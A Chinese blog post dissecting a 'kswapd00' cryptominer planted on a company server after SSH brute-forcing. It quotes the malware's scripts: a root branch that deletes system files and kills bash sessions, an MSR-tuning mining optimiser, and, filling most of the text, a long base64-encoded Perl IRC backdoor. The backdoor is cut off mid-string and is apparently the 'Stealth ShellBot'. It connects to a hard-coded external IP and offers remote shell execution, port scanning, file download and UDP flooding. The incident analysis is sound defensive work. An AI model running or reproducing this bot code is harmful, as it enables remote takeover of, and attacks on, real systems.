收获一个挖矿kswapd00小病毒,研究一下

项目场景:

公司服务器出了个挖矿的病毒,大致是用一堆肉鸡进攻开了需要密码登录的服务器,暴力破解后,留下了挖矿病毒进行获得比特币,但是这个小病毒其实挺有意思。


在这里插入图片描述

问题描述

在这里插入图片描述

这个病毒大致就是ssh暴力破解,然后咱们公司的开发工程师只是精通软件方面,在服务方面很少了解,所以没有怎么做防护措施。
首先暴力破解就是尝试使用多个肉鸡ip进行ssh登录,用不同的用户名和密码进行爆破,爆破成功后留下dota3.tar.gz这个压缩包,然后解压成rsync文件.
在这里插入图片描述

  • 通过执行里面的init脚本进行清除机器的所有占用cpu过高的程序以及其他挖矿程序(竞争)
  • 然后选择里面run进行挖矿并在a中进行设置定时器,删除系统的systemtd等操作
if [ $(id -u) = 0 ]; then
   echo "Running as root"
   rm -rf /usr/bin/systemtd && touch /usr/bin/systemtd && chmod -w /usr/bin && pkill -9 "\-bash" 
   optimize_func
else
   echo "Not running as root"
   sysctl -w vm.nr_hugepages=$(nproc)
fi

a中有这么一句
optimize_func是用来加快挖矿的优化程序

optimize_func() {
  MSR_FILE=/sys/module/msr/parameters/allow_writes

  if test -e "$MSR_FILE"; then
  	echo on > $MSR_FILE
  else
  	modprobe msr allow_writes=on
  fi

  if grep -E 'AMD Ryzen|AMD EPYC' /proc/cpuinfo > /dev/null;
  	then
  	if grep "cpu family[[:space:]]\{1,\}:[[:space:]]25" /proc/cpuinfo > /dev/null;
  		then
  			if grep "model[[:space:]]\{1,\}:[[:space:]]97" /proc/cpuinfo > /dev/null;
  				then
  					echo "Detected Zen4 CPU"
  					wrmsr -a 0xc0011020 0x4400000000000
  					wrmsr -a 0xc0011021 0x4000000000040
  					wrmsr -a 0xc0011022 0x8680000401570000
  					wrmsr -a 0xc001102b 0x2040cc10
  					echo "MSR register values for Zen4 applied"
  				else
  					echo "Detected Zen3 CPU"
  					wrmsr -a 0xc0011020 0x4480000000000
  					wrmsr -a 0xc0011021 0x1c000200000040
  					wrmsr -a 0xc0011022 0xc000000401500000
  					wrmsr -a 0xc001102b 0x2000cc14
  					echo "MSR register values for Zen3 applied"
  				fi
  		else
  			echo "Detected Zen1/Zen2 CPU"
  			wrmsr -a 0xc0011020 0
  			wrmsr -a 0xc0011021 0x40
  			wrmsr -a 0xc0011022 0x1510000
  			wrmsr -a 0xc001102b 0x2000cc16
  			echo "MSR register values for Zen1/Zen2 applied"
  		fi
  elif grep "Intel" /proc/cpuinfo > /dev/null;
  	then
  		echo "Detected Intel CPU"
  		wrmsr -a 0x1a4 0xf
  		echo "MSR register values for Intel applied"
  else
  	echo "No supported CPU detected"
  fi


  sysctl -w vm.nr_hugepages=$(nproc)

  for i in $(find /sys/devices/system/node/node* -maxdepth 0 -type d);
  do
      echo 3 > "$i/hugepages/hugepages-1048576kB/nr_hugepages";
  done

  echo "1GB pages successfully enabled"
}

这段代码就很有意思
应该是个小鬼搁哪偷的,而且肉鸡超级多,留下的后面就只有ssh的公钥

#!/bin/sh
nohup ./stop>>/dev/null &
sleep 5

echo "IyEvdXNyL2Jpbi9wZXJsCiMjIyMjIyMjIyMgQ09ORklHVVJBQ0FPICMjIyMjIyMjIyMjIwpteSAkcHJvY2Vzc28gPSAnZWRhYzAnOwoKJHNlcnZpZG9yPScxODUuMTY1LjE2OS4xODgnIHVubGVzcyAkc2Vydmlkb3I7Cm15ICRwb3J0YT0nNDQzJzsKbXkgQGNhbmFpcz0oIiMwMDEiKTsKbXkgQGFkbXM9KCJtb2xseSIsInBvbGx5Iik7Cm15IEBhdXRoPSgibG9jYWxob3N0Iik7CgojIEFudGkgRmxvb2QgKCA2LzMgUmVjb21lbmRhZG8gKQpteSAkbGluYXNfbWF4PTU7Cm15ICRzbGVlcD01OwoKbXkgJG5pY2sgPSBnZXRuaWNrKCk7Cm15ICRpcmNuYW1lID0gZ2V0bmljaygpOwpteSAkcmVhbG5hbWUgPSAoYHVuYW1lIC1hYCk7CgpteSAkYWNlc3Nvc2hlbGwgPSAxOwojIyMjIyMjIyBTdGVhbHRoIFNoZWxsQm90ICMjIyMjIyMjIyMKbXkgJHByZWZpeG8gPSAiISAiOwpteSAkZXN0YXRpc3RpY2FzID0gMDsKbXkgJHBhY290ZXMgPSAxOwojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKCm15ICRWRVJTQU8gPSAnMC4yYSc7CgokU0lHeydJTlQnfSA9ICdJR05PUkUnOwokU0lHeydIVVAnfSA9ICdJR05PUkUnOwokU0lHeydURVJNJ30gPSAnSUdOT1JFJzsKJFNJR3snQ0hMRCd9ID0gJ0lHTk9SRSc7CiRTSUd7J1BTJ30gPSAnSUdOT1JFJzsKCnVzZSBJTzo6U29ja2V0Owp1c2UgU29ja2V0Owp1c2UgSU86OlNlbGVjdDsKY2hkaXIoIn4gfHwgL3RtcC8iKTsKJHNlcnZpZG9yPSIkQVJHVlswXSIgaWYgJEFSR1ZbMF07CiQwPSIkcHJvY2Vzc28iLiJcMCI7Cm15ICRwaWQ9Zm9yazsKZXhpdCBpZiAkcGlkOwpkaWUgIlByb2JsZW1hIGNvbSBvIGZvcms6ICQhIiB1bmxlc3MgZGVmaW5lZCgkcGlkKTsKCm15ICVpcmNfc2VydmVyczsKbXkgJURDQzsKbXkgJGRjY19zZWwgPSBuZXcgSU86OlNlbGVjdC0+bmV3KCk7CgojIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBTdGVhbHRoIFNoZWxsYm90ICAjCiMjIyMjIyMjIyMjIyMjIyMjIyMjIwoKCgpzdWIgZ2V0bmljayB7CiAgI215ICRyZXRvcm5vbmljayA9ICZfZ2V0KCJodHRwOi8vd2Vic3VydmV5LmJ1cnN0bWVkaWEuY29tL25hbWVzLnR4dCIpOwogICNyZXR1cm4gJHJldG9ybm9uaWNrOwogIHJldHVybiAieCIuaW50KHJhbmQoOTAwMCkpLmludChyYW5kKDkwMDApKTsKfQoKCnN1YiBnZXRpZGVudCB7CiAgbXkgJHJldG9ybm9pZGVudCA9ICZfZ2V0KCJodHRwOi8vd3d3Lm1pbnBvcC5jb20vc2sxMnBhY2svaWRlbnRzLnBocCIpOwogIG15ICRpZGVudGNoYW5jZSA9IGludChyYW5kKDk5MDAwKSk7CiAgaWYgKCRpZGVudGNoYW5jZSA+IDMwKSB7CiAgICAgcmV0dXJuICRuaWNrOwogIH0gZWxzZSB7CiAgICAgcmV0dXJuICRyZXRvcm5vaWRlbnQ7CiAgfQogIHJldHVybiAkcmV0b3Jub2lkZW50Owp9CgpzdWIgZ2V0bmFtZSB7CiAgbXkgJHJldG9ybm9uYW1lID0gJl9nZXQoImh0dHA6Ly93d3cubWlucG9wLmNvbS9zazEycGFjay9uYW1lcy5waHAiKTsKICByZXR1cm4gJHJldG9ybm9uYW1lOwp9CgojIElERU5UIFRFTVBPUkFSSUEgLSBQZWdhciBpZGVudCBkYSB1cmwgdGEgYnVnYW5kbyBvX28Kc3ViIGdldGlkZW50MiB7CiAgICAgICAgbXkgJGxlbmd0aD1zaGlmdDsKICAgICAgICAkbGVuZ3RoID0gMyBpZiAoJGxlbmd0aCA8IDMpOwoKICAgICAgICBteSBAY2hhcnM9KCdhJy4uJ3onLCdBJy4uJ1onLCcxJy4uJzknKTsKICAgICAgICBmb3JlYWNoICgxLi4kbGVuZ3RoKQogICAgICAgIHsKICAgICAgICAgICAgICAgICRyYW5kb21zdHJpbmcuPSRjaGFyc1tyYW5kIEBjaGFyc107CiAgICAgICAgfQogICAgICAgIHJldHVybiAkcmFuZG9tc3RyaW5nOwp9CgpzdWIgZ2V0c3RvcmUgKCQkKQp7CiAgbXkgJHVybCA9IHNoaWZ0OwogIG15ICRmaWxlID0gc2hpZnQ7CgogICRodHRwX3N0cmVhbV9vdXQgPSAxOwogIG9wZW4oR0VUX09VVEZJTEUsICI+ICRmaWxlIik7CiAgJWh0dHBfbG9vcF9jaGVjayA9ICgpOwogIF9nZXQoJHVybCk7CiAgY2xvc2UgR0VUX09VVEZJTEU7CiAgcmV0dXJuICRtYWluOjpodHRwX2dldF9yZXN1bHQ7Cn0KCnN1YiBfZ2V0CnsKICBzbGVlcCAxOwogIG15ICR1cmwgPSBzaGlmdDsKICBteSAkcHJveHkgPSAiIjsKICBncmVwIHsobGMoJF8pIGVxICJodHRwX3Byb3h5IikgJiYgKCRwcm94eSA9ICRFTlZ7JF99KX0ga2V5cyAlRU5WOwogIGlmICgoJHByb3h5IGVxICIiKSAmJiAkdXJsID1+IG0sXmh0dHA6Ly8oW14vOl0rKSg/OjooXGQrKSk/KC9cUyopPyQsKSB7CiAgICBteSAkaG9zdCA9ICQxOwogICAgbXkgJHBvcnQgPSAkMiB8fCA4MDsKICAgIG15ICRwYXRoID0gJDM7CiAgICAkcGF0aCA9ICIvIiB1bmxlc3MgZGVmaW5lZCgkcGF0aCk7CiAgICByZXR1cm4gX3RyaXZpYWxfaHR0cF9nZXQoJGhvc3QsICRwb3J0LCAkcGF0aCk7CiAgfSBlbHNpZiAoJHByb3h5ID1+IG0sXmh0dHA6Ly8oW14vOl0rKTooXGQrKSgvXFMqKT8kLCkgewogICAgbXkgJGhvc3QgPSAkMTsKICAgIG15ICRwb3J0ID0gJDI7CiAgICBteSAkcGF0aCA9ICR1cmw7CiAgICByZXR1cm4gX3RyaXZpYWxfaHR0cF9nZXQoJGhvc3QsICRwb3J0LCAkcGF0aCk7CiAgfSBlbHNlIHsKICAgIHJldHVybiB1bmRlZjsKICB9Cn0KCgpzdWIgX3RyaXZpYWxfaHR0cF9nZXQKewogIHNsZWVwIDE7CiAgbXkoJGhvc3QsICRwb3J0LCAkcGF0aCkgPSBAXzsKICBteSgkQUdFTlQsICRWRVJTSU9OLCAkcCk7CiAgI3ByaW50ICJIT1NUPSRob3N0LCBQT1JUPSRwb3J0LCBQQVRIPSRwYXRoXG4iOwoKICAkQUdFTlQgPSAiZ2V0LW1pbmltYWwiOwogICRWRVJTSU9OID0gIjIwMDAwMTE4IjsKCiAgJHBhdGggPX4gcy8gLyUyMC9nOwoKICByZXF1aXJlIElPOjpTb2NrZXQ7CiAgbG9jYWwoJF5XKSA9IDA7CiAgbXkgJHNvY2sgPSBJTzo6U29ja2V0OjpJTkVULT5uZXcoUGVlckFkZHIgPT4gJGhvc3QsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUGVlclBvcnQgPT4gJHBvcnQsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUHJvdG8gICA9PiAndGNwJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUaW1lb3V0ICA9PiA2MCkgfHwgcmV0dXJuOwogICRzb2NrLT5hdXRvZmx1c2g7CiAgbXkgJG5ldGxvYyA9ICRob3N0OwogICRuZXRsb2MgLj0gIjokcG9ydCIgaWYgJHBvcnQgIT0gODA7CiAgbXkgJHJlcXVlc3QgPSAiR0VUICRwYXRoIEhUVFAvMS4wXDAxNVwwMTIiCiAgICAgICAgICAgICAgLiAiSG9zdDogJG5ldGxvY1wwMTVcMDEyIgogICAgICAgICAgICAgIC4gIlVzZXItQWdlbnQ6ICRBR0VOVC8kVkVSU0lPTi91XDAxNVwwMTIiOwogICRyZXF1ZXN0IC49ICJQcmFnbWE6IG5vLWNhY2hlXDAxNVwwMTIiIGlmICgkbWFpbjo6aHR0cF9ub19jYWNoZSk7CiAgJHJlcXVlc3QgLj0gIlwwMTVcMDEyIjsKICBwcmludCAkc29jayAkcmVxdWVzdDsKCiAgbXkgJGJ1ZiA9ICIiOwogIG15ICRuOwogIG15ICRiMSA9ICIiOwogIHdoaWxlICgkbiA9IHN5c3JlYWQoJHNvY2ssICRidWYsIDgqMTAyNCwgbGVuZ3RoKCRidWYpKSkgewogICAgaWYgKCRiMSBlcSAiIikgeyAjIGZpcnN0IGJsb2NrPwogICAgICAkYjEgPSAkYnVmOyAgICAgICAgICMgU2F2ZSB0aGlzIGZvciBlcnJvcmNvZGUgcGFyc2luZwogICAgICAkYnVmID1+IHMvLis/XDAxNT9cMDEyXDAxNT9cMDEyLy9zOyAgICAgICMgemFwIGhlYWRlcgogICAgfQogICAgaWYgKCRodHRwX3N0cmVhbV9vdXQpIHsgcHJpbnQgR0VUX09VVEZJTEUgJGJ1ZjsgJGJ1ZiA9ICIiOyB9CiAgfQogIHJldHVybiB1bmRlZiB1bmxlc3MgZGVmaW5lZCgkbik7CgogICRtYWluOjpodHRwX2dldF9yZXN1bHQgPSAyMDA7CiAgaWYgKCRiMSA9fiBtLF5IVFRQL1xkK1wuXGQrXHMrKFxkKylbXlwwMTJdKlwwMTIsKSB7CiAgICAkbWFpbjo6aHR0cF9nZXRfcmVzdWx0ID0gJDE7CiAgICAjIHByaW50ICJDT0RFPSRtYWluOjpodHRwX2dldF9yZXN1bHRcbiRiMVxuIjsKICAgIGlmICgkbWFpbjo6aHR0cF9nZXRfcmVzdWx0ID1+IC9eMzBbMTIzN10vICYmICRiMSA9fiAvXDAxMkxvY2F0aW9uOlxzKihcUyspLwopIHsKICAgICAgIyByZWRpcmVjdAogICAgICBteSAkdXJsID0gJDE7CiAgICAgIHJldHVybiB1bmRlZiBpZiAkaHR0cF9sb29wX2NoZWNreyR1cmx9Kys7CiAgICAgIHJldHVybiBfZ2V0KCR1cmwpOwogICAgfQogICAgcmV0dXJuIHVuZGVmIHVubGVzcyAkbWFpbjo6aHR0cF9nZXRfcmVzdWx0ID1+IC9eMi87CiAgfQoKICByZXR1cm4gJGJ1ZjsKfQoKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyAgQjB0Y2haIG5hIHZlaWEgZWhlaGUgOlAgICMKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKCiRzZWxfY2xpZW50ZSA9IElPOjpTZWxlY3QtPm5ldygpOwpzdWIgc2VuZHJhdyB7CiAgc2xlZXAgMTsKICBpZiAoJCNfID09ICcxJykgewogICAgbXkgJHNvY2tldCA9ICRfWzBdOwogICAgcHJpbnQgJHNvY2tldCAiJF9bMV1cbiI7CiAgfSBlbHNlIHsKICAgICAgcHJpbnQgJElSQ19jdXJfc29ja2V0ICIkX1swXVxuIjsKICB9Cn0KCnN1YiBjb25lY3RhciB7CiAgIHNsZWVwIDU7CiAgIG15ICRtZXVuaWNrID0gJF9bMF07CiAgIG15ICRzZXJ2aWRvcl9jb24gPSAkX1sxXTsKICAgbXkgJHBvcnRhX2NvbiA9ICRfWzJdOwoKICAgbXkgJElSQ19zb2NrZXQgPSBJTzo6U29ja2V0OjpJTkVULT5uZXcoUHJvdG89PiJ0Y3AiLCBQZWVyQWRkcj0+IiRzZXJ2aWRvcl9jb24iLCBQZWVyUG9ydD0+JHBvcnRhX2Nvbikgb3IgcmV0dXJuKDEpOwogICBpZiAoZGVmaW5lZCgkSVJDX3NvY2tldCkpIHsKICAgICAkSVJDX2N1cl9zb2NrZXQgPSAkSVJDX3NvY2tldDsKCiAgICAgJElSQ19zb2NrZXQtPmF1dG9mbHVzaCgxKTsKICAgICAkc2VsX2NsaWVudGUtPmFkZCgkSVJDX3NvY2tldCk7CgogICAgICRpcmNfc2VydmVyc3skSVJDX2N1cl9zb2NrZXR9eydob3N0J30gPSAiJHNlcnZpZG9yX2NvbiI7CiAgICAgJGlyY19zZXJ2ZXJzeyRJUkNfY3VyX3NvY2tldH17J3BvcnRhJ30gPSAiJHBvcnRhX2NvbiI7CiAgICAgJGlyY19zZXJ2ZXJzeyRJUkNfY3VyX3NvY2tldH17J25pY2snfSA9ICRtZXVuaWNrOwogICAgICRpcmNfc2VydmVyc3skSVJDX2N1cl9zb2NrZXR9eydtZXVpcCd9ID0gJElSQ19zb2NrZXQtPnNvY2tob3N0OwogICAgIG5pY2soIiRtZXVuaWNrIik7CiAgICAgc2VuZHJhdygiVVNFUiAkaXJjbmFtZSAiLiRJUkNfc29ja2V0LT5zb2NraG9zdC4iICRzZXJ2aWRvcl9jb24gOiRyZWFsbmFtZSIpOwogICAgIHNsZWVwIDQ7CiAgIH0KCn0KbXkgJGxpbmVfdGVtcDsKd2hpbGUoIDEgKSB7CiAgIHNsZWVwIDE7CiAgIHdoaWxlICghKGtleXMoJWlyY19zZXJ2ZXJzKSkpIHsgY29uZWN0YXIoIiRuaWNrIiwgIiRzZXJ2aWRvciIsICIkcG9ydGEiKTsgfQogICBzZWxlY3QodW5kZWYsIHVuZGVmLCB1bmRlZiwgMC43KTsgI3NsZWVwaW5nIGZvciBhIGZyYWN0aW9uIG9mIGEgc2Vjb25kIGtlZXBzIHRoZSBzY3JpcHQgZnJvbSBydW5uaW5nIHRvIDEwMCBjcHUgdXNhZ2UKICAgZGVsZXRlKCRpcmNfc2VydmVyc3snJ30pIGlmIChkZWZpbmVkKCRpcmNfc2VydmVyc3snJ30pKTsKICAgJkRDQzo6Y29ubmVjdGlvbnM7CiAgIG15IEByZWFkeSA9ICRzZWxfY2xpZW50ZS0+Y2FuX3JlYWQoMC42KTsKICAgbmV4dCB1bmxlc3MoQHJlYWR5KTsKICAgZm9yZWFjaCAkZmggKEByZWFkeSkgewogICAgIHNsZWVwIDE7CiAgICAgJElSQ19jdXJfc29ja2V0ID0gJGZoOwogICAgICRtZXVuaWNrID0gJGlyY19zZXJ2ZXJzeyRJUkNfY3VyX3NvY2tldH17J25pY2snfTsKICAgICAkbnJlYWQgPSBzeXNyZWFkKCRmaCwgJG1zZywgNDA5Nik7CiAgICAgaWYgKCRucmVhZCA9PSAwKSB7CiAgICAgICAgJHNlbF9jbGllbnRlLT5yZW1vdmUoJGZoKTsKICAgICAgICAkZmgtPmNsb3NlOwogICAgICAgIGRlbGV0ZSgkaXJjX3NlcnZlcnN7JGZofSk7CiAgICAgfQogICAgIEBsaW5lcyA9IHNwbGl0ICgvXG4vLCAkbXNnKTsKCiAgICAgZm9yKG15ICRjPTA7ICRjPD0gJCNsaW5lczsgJGMrKykgewogICAgICAgc2xlZXAgMTsKICAgICAgICRsaW5lID0gJGxpbmVzWyRjXTsKICAgICAgICRsaW5lPSRsaW5lX3RlbXAuJGxpbmUgaWYgKCRsaW5lX3RlbXApOwogICAgICAgJGxpbmVfdGVtcD0nJzsKICAgICAgICRsaW5lID1+IHMvXHIkLy87CiAgICAgICB1bmxlc3MgKCRjID09ICQjbGluZXMpIHsKICAgICAgICAgcGFyc2UoIiRsaW5lIik7CiAgICAgICB9IGVsc2UgewogICAgICAgICAgIGlmICgkI2xpbmVzID09IDApIHsKICAgICAgICAgICAgIHBhcnNlKCIkbGluZSIpOwogICAgICAgICAgIH0gZWxzaWYgKCRsaW5lc1skY10gPX4gL1xyJC8pIHsKICAgICAgICAgICAgICAgcGFyc2UoIiRsaW5lIik7CiAgICAgICAgICAgfSBlbHNpZiAoJGxpbmUgPX4gL14oXFMrKSBOT1RJQ0UgQVVUSCA6XCpcKlwqLykgewogICAgICAgICAgICAgICBwYXJzZSgiJGxpbmUiKTsKICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAkbGluZV90ZW1wID0gJGxpbmU7CiAgICAgICAgICAgfQogICAgICAgfQogICAgICB9CiAgIH0KfQoKc3ViIHBhcnNlIHsKICBzbGVlcCAxOwogICBteSAkc2VydmFyZyA9IHNoaWZ0OwogICBpZiAoJHNlcnZhcmcgPX4gL15QSU5HIFw6KC4qKS8pIHsKICAgICBzZW5kcmF3KCJQT05HIDokMSIpOwogICB9IGVsc2lmICgkc2VydmFyZyA9fiAvXlw6KC4rPylcISguKz8pXEAoLis/KSBQUklWTVNHICguKz8pIFw6KC4rKS8pIHsKICAgICBzbGVlcCAxOwogICAgICAgbXkgJHBuPSQxOyBteSAkb25kZSA9ICQ0OyBteSAkYXJncyA9ICQ1OwogICAgICAgaWYgKCRhcmdzID1+IC9eXDAwMVZFUlNJT05cMDAxJC8pIHsKICAgICAgICAgbm90aWNlKCIkcG4iLCAiXDAwMVZFUlNJT04gbUlSQyB2Ni4xNiBFTkUgQUxJTiBHQUJSSUVMXDAwMSIpOwogICAgICAgfQogICAgICAgZWxzaWYgKCRhcmdzID1+IC9eXDAwMVBJTkdccysoXGQrKVwwMDEkLykgewogICAgICAgICBub3RpY2UoIiRwbiIsICJcMDAxUE9OR1wwMDEiKTsKICAgICAgIH0KICAgICAgIGVsc2lmIChncmVwIHskXyA9fiAvXlxRJHBuXEUkL2kgfSBAYWRtcykgewogICAgICAgICBpZiAoJG9uZGUgZXEgIiRtZXVuaWNrIil7CiAgICAgICAgICAgc2hlbGwoIiRwbiIsICIkYXJncyIpOwogICAgICAgICAgIH0KICAgICAgICAgZWxzaWYgKCRhcmdzID1+IC9eKFxRJG1ldW5pY2tcRXxcUSRwcmVmaXhvXEUpXHMrKC4qKS8gKSB7CiAgICAgICAgICAgIG15ICRuYXRyaXggPSAkMTsKICAgICAgICAgICAgbXkgJGFyZyA9ICQyOwogICAgICAgICAgICBpZiAoJGFyZyA9fiAvXlwhKC4qKS8pIHsKICAgICAgICAgICAgICBpcmNhc2UoIiRwbiIsIiRvbmRlIiwiJDEiKSB1bmxlc3MgKCRuYXRyaXggZXEgIiRwcmVmaXhvIiBhbmQgJGFyZyA9fiAvXlwhbmljay8pOwogICAgICAgICAgICB9IGVsc2lmICgkYXJnID1+IC9eXEAoLiopLykgewogICAgICAgICAgICAgICAgJG9uZGVwID0gJG9uZGU7CiAgICAgICAgICAgICAgICAkb25kZXAgPSAkcG4gaWYgJG9uZGUgZXEgJG1ldW5pY2s7CiAgICAgICAgICAgICAgICBiZnVuYygiJG9uZGVwIiwiJDEiKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIHNoZWxsKCIkb25kZSIsICIkYXJnIik7CiAgICAgICAgICAgIH0KICAgICAgICAgfQogICAgICAgfQogICB9IGVsc2lmICgkc2VydmFyZyA9fiAvXlw6KC4rPylcISguKz8pXEAoLis/KVxzK05JQ0tccytcOihcUyspL2kpIHsKICAgICAgIGlmIChsYygkMSkgZXEgbGMoJG1ldW5pY2spKSB7CiAgICAgICAgICRtZXVuaWNrPSQ0OwogICAgICAgICAkaXJjX3NlcnZlcnN7JElSQ19jdXJfc29ja2V0fXsnbmljayd9ID0gJG1ldW5pY2s7CiAgICAgICB9CiAgIH0gZWxzaWYgKCRzZXJ2YXJnID1+IG0vXlw6KC4rPylccys0MzMvaSkgewogICAgICAgJG1ldW5pY2sgPSBnZXRuaWNrKCk7CiAgICAgICBuaWNrKCIkbWV1bmljayIpOwogICB9IGVsc2lmICgkc2VydmFyZyA9fiBtL15cOiguKz8pXHMrMDAxXHMrKFxTKylccy9pKSB7CiAgICAgICAkbWV1bmljayA9ICQyOwogICAgICAgJGlyY19zZXJ2ZXJzeyRJUkNfY3VyX3NvY2tldH17J25pY2snfSA9ICRtZXVuaWNrOwogICAgICAgJGlyY19zZXJ2ZXJzeyRJUkNfY3VyX3NvY2tldH17J25vbWUnfSA9ICIkMSI7CiAgICAgICBmb3JlYWNoIG15ICRjYW5hbCAoQGNhbmFpcykgewogICAgICAgICBzZW5kcmF3KCJKT0lOICRjYW5hbCIpOwogICAgICAgfQogICB9Cn0KCnN1YiBiZnVuYyB7CiAgbXkgJHByaW50bCA9ICRfWzBdOwogIG15ICRmdW5jYXJnID0gJF9bMV07CiAgaWYgKG15ICRwaWQgPSBmb3JrKSB7CiAgICAgd2FpdHBpZCgkcGlkLCAwKTsKICB9IGVsc2UgewogICAgICBpZiAoZm9yaykgewogICAgICAgICBleGl0OwogICAgICAgfSBlbHNlIHsKICAgICAgICAgICBpZiAoJGZ1bmNhcmcgPX4gL15wb3J0c2NhbiAoLiopLykgewogICAgICAgICAgICAgbXkgJGhvc3RpcD0iJDEiOwogICAgICAgICAgICAgbXkgQHBvcnRhcz0oIjIxIiwiMjIiLCIyMyIsIjI1IiwiNTMiLCI4MCIsIjExMCIsIjE0MyIsIjY2NjUiKTsKICAgICAgICAgICAgIG15IChAYWJlcnRhLCAlcG9ydGFfYmFubmVyKTsKICAgICAgICAgICAgIGZvcmVhY2ggbXkgJHBvcnRhIChAcG9ydGFzKSAgewogICAgICAgICAgICAgICAgbXkgJHNjYW5zb2NrID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KFBlZXJBZGRyID0+ICRob3N0aXAsIFBlZXJQb3J0ID0+ICRwb3J0YSwgUHJvdG8gPT4gJ3RjcCcsIFRpbWVvdXQgPT4gNCk7CiAgICAgICAgICAgICAgICBpZiAoJHNjYW5zb2NrKSB7CiAgICAgICAgICAgICAgICAgICBwdXNoIChAYWJlcnRhLCAkcG9ydGEpOwogICAgICAgICAgICAgICAgICAgJHNjYW5zb2NrLT5jbG9zZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgIH0KICAgICAgICAgICAgIGlmIChAYWJlcnRhKSB7CiAgICAgICAgICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDpQb3J0YXMgYWJlcnRhczogQGFiZXJ0YSIpOwogICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwiUFJJVk1TRyAkcHJpbnRsIDpOZW5odW1hIHBvcnRhIGFiZXJ0YSBmb2kgZW5jb250cmFkYS4iKTsKICAgICAgICAgICAgIH0KICAgICAgICAgICB9CgogICAgICAgICAgIGVsc2lmICgkZnVuY2FyZyA9fiAvXmRvd25sb2FkXHMrKC4qKVxzKyguKikvKSB7CiAgICAgICAgICAgIGdldHN0b3JlKCIkMSIsICIkMiIpOwogICAgICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6RG93bmxvYWQgZGUgJDIgKCQxKSBDb25jbHUuZG8hIikgaWYgKCRlc3RhdGlzdGljYXMpOwogICAgICAgICAgICB9CgogICAgICAgICAgIGVsc2lmICgkZnVuY2FyZyA9fiAvXmZ1bGxwb3J0c2NhblxzKyguKilccysoXGQrKVxzKyhcZCspLykgewogICAgICAgICAgICAgbXkgJGhvc3RuYW1lPSIkMSI7CiAgICAgICAgICAgICBteSAkcG9ydGFpbmljaWFsID0gIiQyIjsKICAgICAgICAgICAgIG15ICRwb3J0YWZpbmFsID0gIiQzIjsKICAgICAgICAgICAgIG15IChAYWJlcnRhcywgJXBvcnRhX2Jhbm5lcik7CiAgICAgICAgICAgICBmb3JlYWNoIG15ICRwb3J0YSAoJHBvcnRhaW5pY2lhbC4uJHBvcnRhZmluYWwpCiAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgIG15ICRzY2Fuc29jayA9IElPOjpTb2NrZXQ6OklORVQtPm5ldyhQZWVyQWRkciA9PiAkaG9zdG5hbWUsIFBlZXJQb3J0ID0+ICRwb3J0YSwgUHJvdG8gPT4gJ3RjcCcsIFRpbWVvdXQgPT4gNCk7CiAgICAgICAgICAgICAgIGlmICgkc2NhbnNvY2spIHsKICAgICAgICAgICAgICAgICBwdXNoIChAYWJlcnRhcywgJHBvcnRhKTsKICAgICAgICAgICAgICAgICAkc2NhbnNvY2stPmNsb3NlOwogICAgICAgICAgICAgICAgIGlmICgkZXN0YXRpc3RpY2FzKSB7CiAgICAgICAgICAgICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6UG9ydGEgJHBvcnRhIGFiZXJ0YSBlbSAkaG9zdG5hbWUiKTsKICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgIH0KICAgICAgICAgICAgIGlmIChAYWJlcnRhcykgewogICAgICAgICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6UG9ydGFzIGFiZXJ0YXM6IEBhYmVydGFzIik7CiAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwiUFJJVk1TRyAkcHJpbnRsIDpOZW5odW1hIHBvcnRhIGFiZXJ0YSBmb2kgZW5jb250cmFkYS4iKTsKICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAgICAgICAgICAgIyBEdWFzIFZlcnMuZXMgc2ltcGxpZmljYWRhIGRvIG1ldSBUcjB4IDtECiAgICAgICAgICAgIGVsc2lmICgkZnVuY2FyZyA9fiAvXnVkcFxzKyguKilccysoXGQrKVxzKyhcZCspLykgewogICAgICAgICAgICAgIHJldHVybiB1bmxlc3MgJHBhY290ZXM7CiAgICAgICAgICAgICAgc29ja2V0KFRyMHgsIFBGX0lORVQsIFNPQ0tfREdSQU0sIDE3KTsKICAgICAgICAgICAgICBteSAkYWx2bz1pbmV0X2F0b24oIiQxIik7CiAgICAgICAgICAgICAgbXkgJHBvcnRhID0gIiQyIjsKICAgICAgICAgICAgICBteSAkdGVtcG8gPSAiJDMiOwogICAgICAgICAgICAgIG15ICRwYWNvdGU7CiAgICAgICAgICAgICAgbXkgJHBhY290ZXNlOwogICAgICAgICAgICAgIG15ICRmaW0gPSB0aW1lICsgJHRlbXBvOwogICAgICAgICAgICAgIG15ICRwYWNvdGEgPSAxOwogICAgICAgICAgICAgIHdoaWxlICgoJHBhY290YSA9PSAiMSIpICYmICgkcGFjb3RlcyA9PSAiMSIpKSB7CiAgICAgICAgICAgICAgICBzbGVlcCAxOwogICAgICAgICAgICAgICAgJHBhY290YSA9IDAgaWYgKCh0aW1lID49ICRmaW0pICYmICgkdGVtcG8gIT0gIjAiKSk7CiAgICAgICAgICAgICAgICAkcGFjb3RlPSRyYW5kIHggJHJhbmQgeCAkcmFuZDsKICAgICAgICAgICAgICAgICRwb3J0